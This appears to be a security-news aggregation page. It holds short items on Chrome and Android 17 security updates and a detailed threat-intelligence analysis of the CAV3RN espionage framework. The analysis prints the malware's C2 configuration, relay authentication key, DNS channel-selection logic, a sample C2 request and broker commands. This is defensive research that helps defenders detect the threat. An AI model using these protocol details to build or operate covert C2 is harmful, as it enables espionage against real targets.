Google has released a new update for the Chrome Stable Channel on desktop platforms, addressing 26 security vulnerabilities. This includes two critical use-after-free flaws affecting WebGL and Shared Tab Groups. The update upgrades Chrome to version 152.0.7977.75 on Windows and macOS, while Linux users receive version 152.0.7977.76. Google stated that the update will be rolled […]
Microsoft is investigating an issue causing the Defender for Office 365 security software to mistakenly block access to legitimate Google search links. [...]
Google has introduced new privacy and network-security protections in Android 17, including stricter controls that prevent apps from scanning devices connected to a user’s local Wi‑Fi network without permission.
The update is designed to reduce household profiling, limit tracking, and defend users against threats ranging from malicious Wi‑Fi activity to cellular SMS scams.
Android smartphones often connect to home Wi‑Fi networks shared by smart TVs, cameras, game consoles, speakers, printers, and other Internet of Things devices.
Previously, an app could potentially discover devices on the same local network without clearly asking the user for access. That information could reveal details about a household’s technology, behavior, or device ownership.
Android 17 now enforces Local Network Protection, requiring apps to request explicit permission before scanning for or connecting to devices on the local network.
This gives users more control over which applications can view nearby devices and communicate across their home Wi‑Fi environment. The restriction does not remove common features such as streaming content to a television.
Instead, Google recommends that developers use secure Android system tools for actions such as casting. Users can select a compatible TV or device through the operating system, without giving the app broad visibility into every device connected to the network.
Android 17 New Protection for Wi-Fi Tracking
The Wi‑Fi privacy improvement is part of a wider Android 17 security update focused on protecting network metadata and encrypted connections.
Google is also adding support for Encrypted Client Hello, or ECH, a privacy technology that hides the name of a website a device is trying to reach during the early stages of an HTTPS connection.
HTTPS already encrypts most traffic between a device and a website. However, network operators and eavesdroppers can sometimes still see domain-name information, allowing them to identify websites or apps being accessed.
Adds ECH to hide visited domains and improve privacy (source: Google)
This metadata can be used for profiling or to support targeted phishing and scam operations. With ECH and Private DNS, Android 17 aims to encrypt more of this connection data.
For supported websites and applications, the change makes it more difficult for Wi‑Fi operators, internet providers, and network snoops to determine a user’s online destination.
Google’s Android 17 enables Certificate Transparency by default, requiring website and app certificates to be recorded in public logs to help detect suspicious or improperly issued certificates that could enable interception attacks.
Another major change targets 2G downgrade attacks and SMS blaster activity. Criminals use fake cellular base stations to force nearby devices onto older 2G networks, where security protections are weaker.
SMS blaster Attack (source: Google)
Attackers can then send fraudulent text messages that imitate banks, delivery companies, government agencies, or other trusted organizations. Android previously offered users a manual option to turn off 2G connectivity.
Android 17 expands this defense by allowing participating mobile carriers to turn off 2G by default for subscribers. The zero-click protection reduces exposure to rogue base stations and phishing messages delivered through legacy cellular networks.
For users, the changes mostly operate in the background. For developers, Android 17 introduces new requirements for local network access and modern encrypted networking practices. Together, the measures show Google’s effort to reduce data exposure across Wi‑Fi, web browsing, certificate validation, and cellular communications.
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Android 17 becomes the first major mobile OS to enable Encrypted Client Hello (ECH) by default, hiding visited website names from ISPs and network eavesdroppers.
Google is introducing new network security protections in Android 17 to strengthen connection privacy, address cellular vulnerabilities, and protect the privacy of users' home networks. [...]
Google's new Gemini 3.5 Transcribe model achieves sub-1-second streaming latency and a 4% word error rate, while auto-correcting filler words and speaker corrections.
Google has released Chrome version 152 for Windows, macOS, and Linux, addressing 327 security vulnerabilities, including 10 rated as Critical. This stable-channel update is being rolled out as version 152.0.7977.64 for Linux and 152.0.7977.64/.65 for Windows and macOS. This update is significant due to the sheer number and severity of memory-safety issues fixed across Chrome’s […]
Google’s Threat Intelligence Group has announced that its Agentic Vulnerability Discovery Harness (AVDH) identified over 100 critical true-positive vulnerabilities in stolen corporate source code repositories within just two days. This result highlights how agentic AI can significantly accelerate vulnerability discovery during incident response, red teaming, penetration testing, and proactive secure code reviews, especially when adversaries […]
A targeted cryptocurrency intrusion has exposed how Google-hosted Apps Script pages can be weaponized to profile prospective victims before delivering signed Windows malware. The campaign used a fake Web3 recruitment process to deploy a three-payload stack: NeedleStealer, an unclassified Rust infostealer, and a custom Go RAT with hidden VNC capabilities. A fake recruiter initiated contact […]
Google says Chrome cut unwanted Android notifications by more than 7 billion per day using permission controls, abuse detection, rate limits, and on-device ML.
Google Chrome has implemented enhanced defenses aimed at disrupting abusive web push notifications that are often used to distribute malware, phishing attempts, fraudulent payment requests, and scam content. This initiative combines browser-based permission controls, backend rate limiting, Safe Browsing intelligence, and behavioural analysis to minimise notification abuse while still allowing legitimate websites to use the […]
Google says Chrome's anti-abuse systems reduced unwanted notifications on Android by more than 7 billion per day during the first quarter of 2026. [...]
Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.
Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.
We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.
Multi-transport C2 communication module
The communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:
NativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.
The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.
C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.
The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.
The module supports five internal commands:
Command
Functionality
s_version
Returns the DLL-version inventory described above. The command is executed automatically at startup.
s_config
Returns the active configuration and, when provided with a JSON configuration object, replaces it in memory.
s_enLog
Enables diagnostic logging at the Debug level.
s_deLog
Disables diagnostic logging and sets the logging level to Fatal.
s_write
Base64-decodes and GZip-decompresses provided data before writing it to the specified file path.
The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.
{
"to": "<generated seven-character ID>", // Client ID
"ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL
"ho": "studiotikva.com", // DNS domain
"gi": "<redacted>", // Apps Script deployment ID
"de": false, // Enable Debug logging at startup
"mi": 120000, // Poll-delay reset after a non-empty response
"ma": 18000000, // Progressive poll-delay cap
"ri": 30000, // Base DNS recovery/error delay, with positive jitter
"ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key
"gu": "https://script.google.com/macros/s/{0}/exec",
"ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31",
"mcc": 50, // unknown
"mtc": 10 // unknown
}
The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.
Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:
The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.
The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:
Fourth octet
None (0)
GIDFailed (1)
GoogleFailed (2)
DirectFailed (3)
120 (0x78)
Google Apps Script
Direct HTTPS
Direct HTTPS
Google Apps Script
130 (0x82)
Direct HTTPS
Direct HTTPS
Direct HTTPS
Close the transaction (no channel)
140 (0x8C)
Exception
Exception
Exception
Exception
All other values
Google Apps Script
Google Apps Script
Google Apps Script
Google Apps Script
During analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.
CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel
When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.
DNS-based deployment-ID freshness check
The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.
DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks
One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.
Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID
Google Apps Script channel
When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.
Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:
POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1
Host: script.google.com
Content-Type: application/json
{"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}
The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:
Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.
Direct HTTPS channel
When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.
However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:
GET request to the header-gated C2 endpoint and its encoded tasking response
Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.
Inter-component DLL broker
The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.
The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.
The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.
Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.
Command
Function
000
Lists loaded component names and versions
001
Lists every DLL path discovered by the scanner
002
Lists each loaded component’s path, name, and version
The 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.
Infrastructure
Historical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.
The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.
The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.
Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.
Google is restoring Blogger sites wrongly flagged for malware after hundreds of publishers reported locked or unavailable blogs and false-positive alerts.
Google has released Chrome version 151.0.7922.108/.109 for Windows and macOS, and version 151.0.7922.108 for Linux. This update delivers 41 security fixes across various components of the browser, including rendering, graphics, JavaScript, user interface (UI), media, and authentication. The Stable channel update began rolling out on August 6 and will reach users over the next several […]
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